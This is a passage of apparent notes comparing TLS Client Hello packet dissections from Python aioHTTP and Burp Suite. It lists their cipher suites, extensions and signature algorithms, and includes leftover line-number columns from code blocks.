Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca9)
Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 (0xc0af)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CCM (0xc0ad)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 (0xc0ae)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CCM (0xc0ac)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CCM_8 (0xc0a3)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CCM (0xc09f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CCM_8 (0xc0a2)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CCM (0xc09e)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite: TLS_RSA_WITH_AES_256_CCM_8 (0xc0a1)
Cipher Suite: TLS_RSA_WITH_AES_256_CCM (0xc09d)
Cipher Suite: TLS_RSA_WITH_AES_128_CCM_8 (0xc0a0)
Cipher Suite: TLS_RSA_WITH_AES_128_CCM (0xc09c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 175
Extension: server_name (len=22)
Type: server_name (0)
Length: 22
Server Name Indication extension
Server Name list length: 20
Server Name Type: host_name (0)
Server Name length: 17
Server Name: xxxx.xxxx.com
Extension: ec_point_formats (len=4)
Type: ec_point_formats (11)
Length: 4
EC point formats Length: 3
Elliptic curves point formats (3)
EC point format: uncompressed (0)
EC point format: ansiX962_compressed_prime (1)
EC point format: ansiX962_compressed_char2 (2)
Extension: supported_groups (len=12)
Type: supported_groups (10)
Length: 12
Supported Groups List Length: 10
Supported Groups (5 groups)
Extension: session_ticket (len=0)
Type: session_ticket (35)
Length: 0
Data (0 bytes)
Extension: encrypt_then_mac (len=0)
Type: encrypt_then_mac (22)
Length: 0
Extension: extended_master_secret (len=0)
Type: extended_master_secret (23)
Length: 0
Extension: signature_algorithms (len=48)
Type: signature_algorithms (13)
Length: 48
Signature Hash Algorithms Length: 46
Signature Hash Algorithms (23 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ed25519 (0x0807)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (7)
Signature Algorithm: ed448 (0x0808)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (8)
Signature Algorithm: rsa_pss_pss_sha256 (0x0809)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (9)
Signature Algorithm: rsa_pss_pss_sha384 (0x080a)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (10)
Signature Algorithm: rsa_pss_pss_sha512 (0x080b)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (11)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 ECDSA (0x0303)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA224 RSA (0x0301)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 DSA (0x0302)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA1 DSA (0x0202)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA256 DSA (0x0402)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA384 DSA (0x0502)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA512 DSA (0x0602)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: DSA (2)
Extension: supported_versions (len=9)
Type: supported_versions (43)
Length: 9
Supported Versions length: 8
Supported Version: TLS 1.3 (0x0304)
Supported Version: TLS 1.2 (0x0303)
Supported Version: TLS 1.1 (0x0302)
Supported Version: TLS 1.0 (0x0301)
Extension: psk_key_exchange_modes (len=2)
Type: psk_key_exchange_modes (45)
Length: 2
PSK Key Exchange Modes Length: 1
PSK Key Exchange Mode: PSK with (EC)DHE key establishment (psk_dhe_ke) (1)
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension

Python3 aioHTTP

1
3.7.4.post0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 512
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 508
Version: TLS 1.2 (0x0303)
Random: 950340b4f7c16cafa4080ff5144082923c907cdda2e2aefa624af1dd4347e765
GMT Unix Time: Mar 22, 2049 17:32:36.000000000 CST
Random Bytes: f7c16cafa4080ff5144082923c907cdda2e2aefa624af1dd4347e765
Session ID Length: 32
Session ID: 7f921fa357f4a39367e8540dc44c1eac925a8f44c506887c4b1e5e5815a013ec
Cipher Suites Length: 62
Cipher Suites (31 suites)
Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca9)
Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 373
Extension: server_name (len=22)
Type: server_name (0)
Length: 22
Server Name Indication extension
Server Name list length: 20
Server Name Type: host_name (0)
Server Name length: 17
Server Name: xxxx.xxxx.com
Extension: ec_point_formats (len=4)
Type: ec_point_formats (11)
Length: 4
EC point formats Length: 3
Elliptic curves point formats (3)
EC point format: uncompressed (0)
EC point format: ansiX962_compressed_prime (1)
EC point format: ansiX962_compressed_char2 (2)
Extension: supported_groups (len=12)
Type: supported_groups (10)
Length: 12
Supported Groups List Length: 10
Supported Groups (5 groups)
Extension: session_ticket (len=0)
Type: session_ticket (35)
Length: 0
Data (0 bytes)
Extension: encrypt_then_mac (len=0)
Type: encrypt_then_mac (22)
Length: 0
Extension: extended_master_secret (len=0)
Type: extended_master_secret (23)
Length: 0
Extension: signature_algorithms (len=48)
Type: signature_algorithms (13)
Length: 48
Signature Hash Algorithms Length: 46
Signature Hash Algorithms (23 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ed25519 (0x0807)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (7)
Signature Algorithm: ed448 (0x0808)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (8)
Signature Algorithm: rsa_pss_pss_sha256 (0x0809)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (9)
Signature Algorithm: rsa_pss_pss_sha384 (0x080a)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (10)
Signature Algorithm: rsa_pss_pss_sha512 (0x080b)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (11)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 ECDSA (0x0303)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA224 RSA (0x0301)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 DSA (0x0302)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA1 DSA (0x0202)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA256 DSA (0x0402)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA384 DSA (0x0502)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA512 DSA (0x0602)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: DSA (2)
Extension: supported_versions (len=9)
Type: supported_versions (43)
Length: 9
Supported Versions length: 8
Supported Version: TLS 1.3 (0x0304)
Supported Version: TLS 1.2 (0x0303)
Supported Version: TLS 1.1 (0x0302)
Supported Version: TLS 1.0 (0x0301)
Extension: psk_key_exchange_modes (len=2)
Type: psk_key_exchange_modes (45)
Length: 2
PSK Key Exchange Modes Length: 1
PSK Key Exchange Mode: PSK with (EC)DHE key establishment (psk_dhe_ke) (1)
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension
Extension: padding (len=194)
Type: padding (21)
Length: 194
Padding Data: 000000000000000000000000000000000000000000000000000000000000000000000000…

Burp Suite

1
2
[Expert Info (Comment/Comment): Burp Suite v 2021.3.2
jdk-11.0.5]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 466
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 462
Version: TLS 1.2 (0x0303)
Random: 67c3b8bc51ef0e92822fc93228b970047447c83cf6f354393f99a114d9f13980
GMT Unix Time: Mar 2, 2025 09:47:40.000000000 CST
Random Bytes: 51ef0e92822fc93228b970047447c83cf6f354393f99a114d9f13980
Session ID Length: 32
Session ID: 1dd88665cef5c0afa05f4ab8ce2f861881c820c2fd5cf5ab76c3262e2534ec15
Cipher Suites Length: 104
Cipher Suites (52 suites)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02e)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 (0xc032)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 (0x00a3)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02d)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 (0xc031)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 (0x00a2)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 (0xc026)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 (0xc02a)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 (0x006a)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 (0xc025)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 (0xc029)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 (0x0040)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003)
Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d)
Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 285
Extension: server_name (len=22)
Type: server_name (0)
Length: 22
Server Name Indication extension
Server Name list length: 20
Server Name Type: host_name (0)
Server Name length: 17
Server Name: xxxx.xxxx.com
Extension: status_request (len=5)
Type: status_request (5)
Length: 5
Certificate Status Type: OCSP (1)
Responder ID list Length: 0
Request Extensions Length: 0
Extension: supported_groups (len=18)
Type: supported_groups (10)
Length: 18
Supported Groups List Length: 16
Supported Groups (8 groups)
Extension: ec_point_formats (len=2)
Type: ec_point_formats (11)
Length: 2
EC point formats Length: 1
Elliptic curves point formats (1)
EC point format: uncompressed (0)
Extension: signature_algorithms (len=46)
Type: signature_algorithms (13)
Length: 46
Signature Hash Algorithms Length: 44
Signature Hash Algorithms (22 algorithms)
Signature Algorithm: ed25519 (0x0807)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (7)
Signature Algorithm: ed448 (0x0808)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (8)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pss_pss_sha256 (0x0809)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (9)
Signature Algorithm: rsa_pss_pss_sha384 (0x080a)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (10)
Signature Algorithm: rsa_pss_pss_sha512 (0x080b)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (11)
Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA256 DSA (0x0402)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA224 ECDSA (0x0303)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA224 RSA (0x0301)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 DSA (0x0302)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA1 DSA (0x0202)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: MD5 RSA (0x0101)
Signature Hash Algorithm Hash: MD5 (1)
Signature Hash Algorithm Signature: RSA (1)
Extension: signature_algorithms_cert (len=46)
Type: signature_algorithms_cert (50)
Length: 46
Signature Hash Algorithms Length: 44
Signature Hash Algorithms (22 algorithms)
Signature Algorithm: ed25519 (0x0807)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (7)
Signature Algorithm: ed448 (0x0808)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (8)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pss_pss_sha256 (0x0809)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (9)
Signature Algorithm: rsa_pss_pss_sha384 (0x080a)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (10)
Signature Algorithm: rsa_pss_pss_sha512 (0x080b)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (11)
